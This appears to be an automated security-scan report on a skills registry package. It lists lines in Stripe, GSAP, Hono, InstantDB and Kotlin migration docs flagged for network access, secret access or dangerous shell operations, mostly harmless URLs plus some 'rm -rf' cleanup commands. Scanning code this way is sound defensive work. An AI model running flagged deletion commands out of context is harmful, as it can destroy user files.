- Network accessline 5
module Stripe class PriceService < StripeService # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time. - Network accessline 6
class PriceService < StripeService # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time. sig { - Network accessline 7
# Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time. - Network accessline 13
# Returns a list of your active prices, excluding [inline prices](https://docs.stripe.com/docs/products-prices/pricing-models#inline-pricing). For the list of inactive prices, set active to false. - Network accessline 25
# Search for prices you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/product_service.rbi
- Network accessline 32
# Search for products you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/promotion_code_service.rbi
- Network accessline 19
# Retrieves the promotion code with the given ID. In order to retrieve a promotion code by the customer-facing code use [list](https://docs.stripe.com/docs/api/promotion_codes/list) with the desired code.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/quote_computed_upfront_line_items_service.rbi
- Network accessline 5
module Stripe class QuoteComputedUpfrontLineItemsService < StripeService # When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_item - Network accessline 6
class QuoteComputedUpfrontLineItemsService < StripeService # When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property cont - Network accessline 7
# When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/quote_service.rbi
- Network accessline 21
# A quote models prices and services for a customer. Default options for header, description, footer, and expires_at can be set in the dashboard via the [quote template](https://dashboard.stripe.com/settings/billing/quote). - Network accessline 39
# Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/radar/early_fraud_warning_service.rbi
- Network accessline 14
# Retrieves the details of an early fraud warning that has previously been created. # # Please refer to the [early fraud warning](https://docs.stripe.com/api#early_fraud_warning_object) object reference for more details. - Network accessline 15
# # Please refer to the [early fraud warning](https://docs.stripe.com/api#early_fraud_warning_object) object reference for more details. sig { - Network accessline 16
# Please refer to the [early fraud warning](https://docs.stripe.com/api#early_fraud_warning_object) object reference for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/reporting/report_run_service.rbi
- Network accessline 6
module Reporting class ReportRunService < StripeService # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).) - Network accessline 7
class ReportRunService < StripeService # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).) sig { - Network accessline 8
# Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/reporting/report_type_service.rbi
- Network accessline 14
# Retrieves the details of a Report Type. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/setup_intent_service.rbi
- Network accessline 7
# You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action. # # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit - Network accessline 8
# # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessi - Network accessline 9
# After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex - Network accessline 34
# Creates a SetupIntent object. # # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm) - Network accessline 35
# # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm) # it to collect any required permissions to charge the payment method later. - Network accessline 36
# After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm) - Network accessline 51
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Network accessline 52
# # When retrieved with a publishable key, only a subset of properties will be returned. Please refer to the [SetupIntent](https://docs.stripe.com/api#setup_intent_object) object reference for more details. sig { - Network accessline 53
# When retrieved with a publishable key, only a subset of properties will be returned. Please refer to the [SetupIntent](https://docs.stripe.com/api#setup_intent_object) object reference for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/source_service.rbi
- Network accessline 26
# Updates the specified source by setting the values of the parameters passed. Any parameters not provided will be left unchanged. # # This request accepts the metadata and owner as arguments. It is also possible to update type spec - Network accessline 27
# # This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for mo - Network accessline 28
# This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for more det
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/subscription_service.rbi
- Network accessline 5
module Stripe class SubscriptionService < StripeService # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [ - Network accessline 6
class SubscriptionService < StripeService # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https: - Network accessline 7
# Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata). - Network accessline 8
# # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, - Network accessline 9
# Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe - Network accessline 20
# The payment_behavior parameter determines the exact behavior of the initial payment. # # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/bil - Network accessline 21
# # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead. # Schedules provide the fl - Network accessline 22
# To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead. - Network accessline 59
# Search for subscriptions you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language). - Network accessline 68
# Updates an existing subscription to match the specified parameters. # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes. # To preview how the proration is cal - Network accessline 69
# When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes. # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoice - Network accessline 70
# To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoices/create_preview) endpoint. - Network accessline 80
# # # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscriptio - Network accessline 81
# # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription chan - Network accessline 82
# In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription changes](h - Network accessline 83
# # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create - Network accessline 84
# If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create_prora - Network accessline 86
# If you don't want to prorate, set the proration_behavior option to none. With this option, the customer is billed 100 on May 1 and 200 on June 1. Similarly, if you set proration_behavior to none when switching between different billing in - Network accessline 87
# # Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based b - Network accessline 88
# Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based billing
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/tax_code_service.rbi
- Network accessline 5
module Stripe class TaxCodeService < StripeService # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations. - Network accessline 6
class TaxCodeService < StripeService # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations. sig { - Network accessline 7
# A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/terminal/location_service.rbi
- Network accessline 7
class LocationService < StripeService # Creates a new Location object. # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/lo - Network accessline 8
# Creates a new Location object. # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide. sig { - Network accessline 9
# For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/terminal/reader_service.rbi
- Network accessline 6
module Terminal class ReaderService < StripeService # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#progr - Network accessline 7
class ReaderService < StripeService # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation - Network accessline 8
# Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details. - Network accessline 14
# Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers. - Network accessline 20
# Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s - Network accessline 26
# Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details. - Network accessline 50
# Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details. - Network accessline 56
# Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details. - Network accessline 62
# Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details. - Network accessline 74
# Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/token_service.rbi
- Network accessline 6
class TokenService < StripeService # Creates a single-use token that represents a bank account's details. # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do - Network accessline 7
# Creates a single-use token that represents a bank account's details. # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account] - Network accessline 8
# You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account](https://docs.stripe.com/api#accounts) where [controller.requirement_collec
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/transfer_service.rbi
- Network accessline 6
class TransferService < StripeService attr_reader :reversals # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able - Network accessline 7
attr_reader :reversals # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll re - Network accessline 8
# To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll receive an “Insufficient Fund
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/webhook_endpoint_service.rbi
- Network accessline 5
module Stripe class WebhookEndpointService < StripeService # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint th - Network accessline 6
class WebhookEndpointService < StripeService # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the - Network accessline 7
# A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the specified url about events from all connected acc - Network accessline 13
# You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard.
packages/autoskills/skills-registry/generating-sorbet/reference/syntax.md
- Network accessline 3
Source: https://sorbet.org/docs/rbi
packages/autoskills/skills-registry/golang-patterns/SKILL.md
- Network accessline 274
ch := make(chan []byte) go func() { data, _ := fetch(url) - Network accessline 275
go func() { data, _ := fetch(url) ch <- data // Blocks forever if no receiver - Network accessline 276
data, _ := fetch(url) - Network accessline 284
ch := make(chan []byte, 1) // Buffered channel go func() { data, err := fetch(url) - Network accessline 285
go func() { data, err := fetch(url) if err != nil { - Network accessline 286
data, err := fetch(url)
packages/autoskills/skills-registry/gsap-core/SKILL.md
- Network accessline 114
https://gsap.com/resources/getting-started/Staggers - Network accessline 237
Full docs: [gsap.matchMedia()](https://gsap.com/docs/v3/GSAP/gsap.matchMedia/). For immediate re-run of all matching handlers (e.g. after toggling a reduced-motion control), use **gsap.matchMediaRefresh()**.
packages/autoskills/skills-registry/gsap-plugins/SKILL.md
- Network accessline 17
Every GSAP plugin is **free**, including for commercial use. Since [Webflow's acquisition of GSAP](https://gsap.com/blog/webflow-GSAP/), Club GSAP is no longer a paid tier and **no plugin requires a membership, license key, or auth token** - Network accessline 101
https://gsap.com/docs/v3/Plugins/Flip - Network accessline 220
**Learn more:** [SplitText](https://gsap.com/docs/v3/Plugins/SplitText/) - Network accessline 258
**Learn more:** [DrawSVG](https://gsap.com/docs/v3/Plugins/DrawSVGPlugin) - Network accessline 301
**Learn more:** [MorphSVG](https://gsap.com/docs/v3/Plugins/MorphSVGPlugin) - Network accessline 433
https://gsap.com/docs/v3/Plugins/
packages/autoskills/skills-registry/gsap-react/SKILL.md
- Network accessline 136
https://gsap.com/resources/React
packages/autoskills/skills-registry/gsap-scrolltrigger/SKILL.md
- Network accessline 44
Main properties for the `scrollTrigger` config object (shorthand: `scrollTrigger: ".selector"` sets only `trigger`). See [ScrollTrigger docs](https://gsap.com/docs/v3/Plugins/ScrollTrigger/) for the full list. - Network accessline 118
See [ScrollTrigger.batch()](https://gsap.com/docs/v3/Plugins/ScrollTrigger/static.batch/) in the GSAP docs. - Network accessline 149
See [ScrollTrigger.scrollerProxy()](https://gsap.com/docs/v3/Plugins/ScrollTrigger/static.scrollerProxy/) in the GSAP docs. - Network accessline 295
https://gsap.com/docs/v3/Plugins/ScrollTrigger/
packages/autoskills/skills-registry/gsap-utils/SKILL.md
- Network accessline 19
**Omitting the value: function form.** Many utils accept the value to transform as the **last** argument. If you omit that argument, the util returns a **function** that accepts the value later. Use the function form when you need to clamp, - Network accessline 180
See [distribute()](https://gsap.com/docs/v3/GSAP/UtilityMethods/distribute/) for more. - Network accessline 205
Converts a color string into an array: **[red, green, blue]** (0–255), or **[red, green, blue, alpha]** (4 elements for RGBA when alpha is present or required). Pass **true** as the second argument (**returnHSL**) to get **[hue, saturation, - Network accessline 284
https://gsap.com/docs/v3/HelperFunctions
packages/autoskills/skills-registry/hono/SKILL.md
- Network accessline 12
For details beyond this inline reference, fetch the latest documentation from https://hono.dev. Get the index of doc pages from `https://hono.dev/llms.txt`, then fetch a page with the `Accept: text/markdown` header to receive it as Markdown - Network accessline 15
curl -H "Accept: text/markdown" https://hono.dev/docs/helpers/cookie - Network accessline 20
Verify with [Hono CLI](https://github.com/honojs/cli), not with throwaway scripts or a dev server. It is a dev dependency (projects from `create-hono` already have it), loads the app in-process with `app.request()`, and prints JSON. Install - Network accessline 437
Use `jsxRenderer` middleware for layouts. For details, see https://hono.dev/docs/middleware/builtin/jsx-renderer - Network accessline 533
// Using Request object const req = new Request('http://localhost/api', { method: 'DELETE' }) - Network accessline 534
const req = new Request('http://localhost/api', { method: 'DELETE' }) - Network accessline 561
const client = hc<AppType>('http://localhost:8787/') - Network accessline 594
For details, see `https://hono.dev/docs/helpers/<helper-name>` (fetch with `Accept: text/markdown`).
packages/autoskills/skills-registry/implement-background-job/assets/retry_examples.md
packages/autoskills/skills-registry/instantdb/SKILL.md
- Network accessline 51
- Sign up for free or log in at https://instantdb.com - Network accessline 417
- [Common mistakes](https://www.instantdb.com/docs/common-mistakes.md): Common mistakes when working with Instant - Network accessline 418
- [Initializing Instant](https://www.instantdb.com/docs/init.md): How to integrate Instant with your app. - Network accessline 419
- [Modeling data](https://www.instantdb.com/docs/modeling-data.md): How to model data with Instant's schema. - Network accessline 420
- [Writing data](https://www.instantdb.com/docs/instaml.md): How to write data with Instant using InstaML. - Network accessline 421
- [Reading data](https://www.instantdb.com/docs/instaql.md): How to read data with Instant using InstaQL. - Network accessline 422
- [Instant on the Backend](https://www.instantdb.com/docs/backend.md): How to use Instant on the server with the Admin SDK. - Network accessline 423
- [Patterns](https://www.instantdb.com/docs/patterns.md): Common patterns for working with InstantDB. - Network accessline 424
- [Auth](https://www.instantdb.com/docs/auth/magic-codes.md): How to add magic code auth to your Instant app. - Network accessline 425
- [Guest Auth](https://www.instantdb.com/docs/auth/guest-auth.md): How to add guest auth to your Instant app. - Network accessline 426
- [Other Auth](https://www.instantdb.com/docs/auth.md): Additional auth methods supported by Instant. - Network accessline 427
- [Managing users](https://www.instantdb.com/docs/users.md): How to manage users in your Instant app. - Network accessline 428
- [Presence, Cursors, and Activity](https://www.instantdb.com/docs/presence-and-topics.md): How to add ephemeral features like presence and cursors to your Instant app. - Network accessline 429
- [Instant CLI](https://www.instantdb.com/docs/cli.md): How to use the Instant CLI to manage schema. - Network accessline 430
- [Storage](https://www.instantdb.com/docs/storage.md): How to upload and serve files with Instant. - Network accessline 431
- [Streams](https://www.instantdb.com/docs/streams.md): How to use streams with Instant. - Network accessline 432
- [Stripe Payments](https://www.instantdb.com/docs/stripe-payments.md): How to integrate Stripe payments with Instant. - Network accessline 433
- [React Native](https://www.instantdb.com/docs/start-rn.md): How to use Instant in React Native apps. - Network accessline 434
- [Vanilla JS](https://www.instantdb.com/docs/start-vanilla.md): How to use Instant in vanilla JS apps. - Network accessline 435
- [SolidJS](https://www.instantdb.com/docs/start-solidjs.md): How to use Instant in SolidJS apps. - Network accessline 436
- [Svelte](https://www.instantdb.com/docs/start-svelte.md): How to use Instant in Svelte apps. - Network accessline 437
- [Vue](https://www.instantdb.com/docs/start-vue.md): How to use Instant in Vue apps. - Network accessline 438
- [TanStack](https://www.instantdb.com/docs/start-tanstack.md): How to use Instant in TanStack apps. - Network accessline 439
- [Python](https://www.instantdb.com/docs/start-python.md): How to use Instant with Python.
packages/autoskills/skills-registry/kotlin-tooling-agp9-migration/SKILL.md
- Network accessline 477
### KMP Library Plugin Issues - **BuildConfig unavailable** in library modules — use DI/`AppConfiguration` interface, or use [BuildKonfig](https://github.com/yshrsmz/BuildKonfig) or [gradle-buildconfig-plugin](https://github.com/gmazzo/grad - Network accessline 478
- **BuildConfig unavailable** in library modules — use DI/`AppConfiguration` interface, or use [BuildKonfig](https://github.com/yshrsmz/BuildKonfig) or [gradle-buildconfig-plugin](https://github.com/gmazzo/gradle-buildconfig-plugin) for com
packages/autoskills/skills-registry/kotlin-tooling-agp9-migration/references/KNOWN-ISSUES.md
- Network accessline 26
actual val versionName: String = context.packageManager .getPackageInfo(context.packageName, 0).versionName ?: "unknown" actual val apiBaseUrl: String = if (isDebug) "https://dev.api.example.com" else "https://api.example.com" - Network accessline 27
.getPackageInfo(context.packageName, 0).versionName ?: "unknown" actual val apiBaseUrl: String = if (isDebug) "https://dev.api.example.com" else "https://api.example.com" } - Network accessline 28
actual val apiBaseUrl: String = if (isDebug) "https://dev.api.example.com" else "https://api.example.com" - Network accessline 33
actual val isDebug: Boolean = Platform.isDebugBinary actual val versionName: String = NSBundle.mainBundle.objectForInfoDictionaryKey("CFBundleShortVersionString") as? String ?: "unknown" actual val apiBaseUrl: String = if (isDebug) - Network accessline 34
actual val versionName: String = NSBundle.mainBundle.objectForInfoDictionaryKey("CFBundleShortVersionString") as? String ?: "unknown" actual val apiBaseUrl: String = if (isDebug) "https://dev.api.example.com" else "https://api.example.c - Network accessline 35
actual val apiBaseUrl: String = if (isDebug) "https://dev.api.example.com" else "https://api.example.com" - Network accessline 41
**Alternative A — BuildKonfig plugin** ([github.com/yshrsmz/BuildKonfig](https://github.com/yshrsmz/BuildKonfig)): - Network accessline 55
defaultConfigs { buildConfigField(STRING, "API_BASE_URL", "https://api.example.com") - Network accessline 56
buildConfigField(STRING, "API_BASE_URL", "https://api.example.com") - Network accessline 77
defaultConfigs("dev") { buildConfigField(STRING, "API_BASE_URL", "https://dev.api.example.com") - Network accessline 78
buildConfigField(STRING, "API_BASE_URL", "https://dev.api.example.com") - Network accessline 80
} defaultConfigs("release") { buildConfigField(STRING, "API_BASE_URL", "https://api.example.com") - Network accessline 81
defaultConfigs("release") { buildConfigField(STRING, "API_BASE_URL", "https://api.example.com") buildConfigField(BOOLEAN, "IS_DEBUG", "false") - Network accessline 82
buildConfigField(STRING, "API_BASE_URL", "https://api.example.com") - Network accessline 87
**Alternative B — gradle-buildconfig-plugin** ([github.com/gmazzo/gradle-buildconfig-plugin](https://github.com/gmazzo/gradle-buildconfig-plugin)):
packages/autoskills/skills-registry/kotlin-tooling-agp9-migration/scripts/analyze-project.sh
- Executable scriptline 1
#!/bin/sh
packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration/SKILL.md
- Network accessline 87
This property was a workaround (see [KT-64096](https://youtrack.jetbrains.com/issue/KT-64096)) for projects using `embedAndSign` alongside CocoaPods dependencies. It suppresses an error about unsupported configurations that can cause runtim - Network accessline 99
| Library | Maven artifact | Bundled klib namespace | Classes provided | |---------|---------------|----------------------|-----------------| | [KMPNotifier](https://github.com/mirzemehdi/KMPNotifier) | `io.github.mirzemehdi:kmpnotifier` | - Network accessline 101
| [KMPNotifier](https://github.com/mirzemehdi/KMPNotifier) | `io.github.mirzemehdi:kmpnotifier` | `cocoapods.FirebaseMessaging` | `FIRMessaging`, `FIRMessagingAPNSTokenType`, etc. | - Network accessline 177
swiftPackage(url = "https://github.com/owner/repo.git", version = "1.0.0", products = listOf("ProductName")) - Network accessline 199
swiftPackage( url = "https://github.com/owner/repo.git", - Network accessline 200
url = "https://github.com/owner/repo.git", - Network accessline 309
**Example** (project using [KMPNotifier](https://github.com/mirzemehdi/KMPNotifier)): - Dangerous shell operationline 376
rm -rf Podfile Podfile.lock Pods/ - Dangerous shell operationline 379
rm -rf "${XCODEPROJ_NAME}.xcworkspace" - Dangerous shell operationline 385
# rm -f shared.podspec
packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration/references/common-pods-mapping.md
- Network accessline 7
All Firebase products come from a single repository: `https://github.com/firebase/firebase-ios-sdk.git` - Network accessline 47
// SwiftPM — use same version as pod swiftPackage( url = "https://github.com/firebase/firebase-ios-sdk.git", - Network accessline 48
swiftPackage( url = "https://github.com/firebase/firebase-ios-sdk.git", version = "12.5.0", - Network accessline 49
url = "https://github.com/firebase/firebase-ios-sdk.git", - Network accessline 67
// SwiftPM — use same version as pod swiftPackage( url = "https://github.com/firebase/firebase-ios-sdk.git", - Network accessline 68
swiftPackage( url = "https://github.com/firebase/firebase-ios-sdk.git", version = "12.5.0", - Network accessline 69
url = "https://github.com/firebase/firebase-ios-sdk.git", - Network accessline 89
// SwiftPM - Note the importedClangModules parameter (typed API required) swiftPackage( url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 90
swiftPackage( url = url("https://github.com/firebase/firebase-ios-sdk.git"), version = from("12.5.0"), - Network accessline 91
url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 112
// SwiftPM - Note the importedClangModules parameter (typed API required) swiftPackage( url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 113
swiftPackage( url = url("https://github.com/firebase/firebase-ios-sdk.git"), version = from("12.5.0"), - Network accessline 114
url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 135
// SwiftPM — use same version as pod swiftPackage( url = "https://github.com/firebase/firebase-ios-sdk.git", - Network accessline 136
swiftPackage( url = "https://github.com/firebase/firebase-ios-sdk.git", version = "12.5.0", - Network accessline 137
url = "https://github.com/firebase/firebase-ios-sdk.git", - Network accessline 168
// Combined Firebase requires typed API for importedClangModules control swiftPackage( url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 169
swiftPackage( url = url("https://github.com/firebase/firebase-ios-sdk.git"), version = from("12.5.0"), - Network accessline 170
url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 239
Repository: `https://github.com/googlemaps/ios-maps-sdk.git` - Network accessline 246
- CocoaPods subspec `GoogleMaps/Maps` maps to the single `GoogleMaps` SPM product - Requires a Google Maps Platform API key configured in the iOS app - Check [releases](https://github.com/googlemaps/ios-maps-sdk/releases) for available SPM - Network accessline 248
- Check [releases](https://github.com/googlemaps/ios-maps-sdk/releases) for available SPM versions - Network accessline 254
// SwiftPM — use the exact same version as the pod swiftPackage( url = "https://github.com/googlemaps/ios-maps-sdk.git", - Network accessline 255
swiftPackage( url = "https://github.com/googlemaps/ios-maps-sdk.git", version = "10.10.0", - Network accessline 256
url = "https://github.com/googlemaps/ios-maps-sdk.git", - Access to secretsline 274
[Credential-related source omitted] - Network accessline 281
Repository: `https://github.com/google/GoogleSignIn-iOS.git` - Network accessline 293
// SwiftPM — use same version as pod swiftPackage( url = "https://github.com/google/GoogleSignIn-iOS.git", - Network accessline 294
swiftPackage( url = "https://github.com/google/GoogleSignIn-iOS.git", version = "8.0.0", - Network accessline 295
url = "https://github.com/google/GoogleSignIn-iOS.git", - Network accessline 307
**iOS project requirement:** Add `GIDClientID` to `Info.plist` and configure the URL scheme for OAuth redirect. See [Google Sign-In iOS docs](https://developers.google.com/identity/sign-in/ios/start-integrating). - Network accessline 319
// SwiftPM — use same version as pod swiftPackage( url = "https://github.com/lukaskubanek/LoremIpsum.git", - Network accessline 320
swiftPackage( url = "https://github.com/lukaskubanek/LoremIpsum.git", version = "2.0.1", - Network accessline 321
url = "https://github.com/lukaskubanek/LoremIpsum.git", - Network accessline 366
Repository: [https://github.com/mirzemehdi/KMPNotifier](https://github.com/mirzemehdi/KMPNotifier) - Network accessline 376
**Verifying bundled klib contents:** Use `klib dump-metadata-signatures` to inspect what a library's klib provides ([docs](https://kotlinlang.org/docs/native-libraries.html#using-kotlin-native-compiler)): - Network accessline 394
Repository: [https://github.com/GitLiveApp/firebase-kotlin-sdk](https://github.com/GitLiveApp/firebase-kotlin-sdk) - Network accessline 434
1. **Check GitHub repository** - Look for a `Package.swift` file in the repo 2. **Check CocoaPods spec** - The `source` field often points to the Git URL 3. **Search Swift Package Index** - https://swiftpackageindex.com/ - Network accessline 435
2. **Check CocoaPods spec** - The `source` field often points to the Git URL 3. **Search Swift Package Index** - https://swiftpackageindex.com/ 4. **Check library documentation** - Many libraries document SPM installation - Network accessline 436
3. **Search Swift Package Index** - https://swiftpackageindex.com/ - Network accessline 450
If you suspect a KMP library bundles its own cinterop klibs (common for libraries wrapping iOS SDKs), use the `klib` tool to inspect them ([docs](https://kotlinlang.org/docs/native-libraries.html#using-kotlin-native-compiler)):
packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration/references/dsl-reference.md
- Network accessline 46
swiftPackage( url = "https://github.com/owner/repo.git", - Network accessline 47
url = "https://github.com/owner/repo.git", - Network accessline 58
swiftPackage( url = url("https://github.com/owner/repo.git"), - Network accessline 59
url = url("https://github.com/owner/repo.git"), - Network accessline 175
swiftPackage( url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 176
url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 242
// Simple API — most packages swiftPackage( url = "https://github.com/lukaskubanek/LoremIpsum.git", - Network accessline 243
swiftPackage( url = "https://github.com/lukaskubanek/LoremIpsum.git", version = "2.0.1", - Network accessline 244
url = "https://github.com/lukaskubanek/LoremIpsum.git", - Network accessline 249
// Simple API — Google Maps swiftPackage( url = "https://github.com/googlemaps/ios-maps-sdk.git", - Network accessline 250
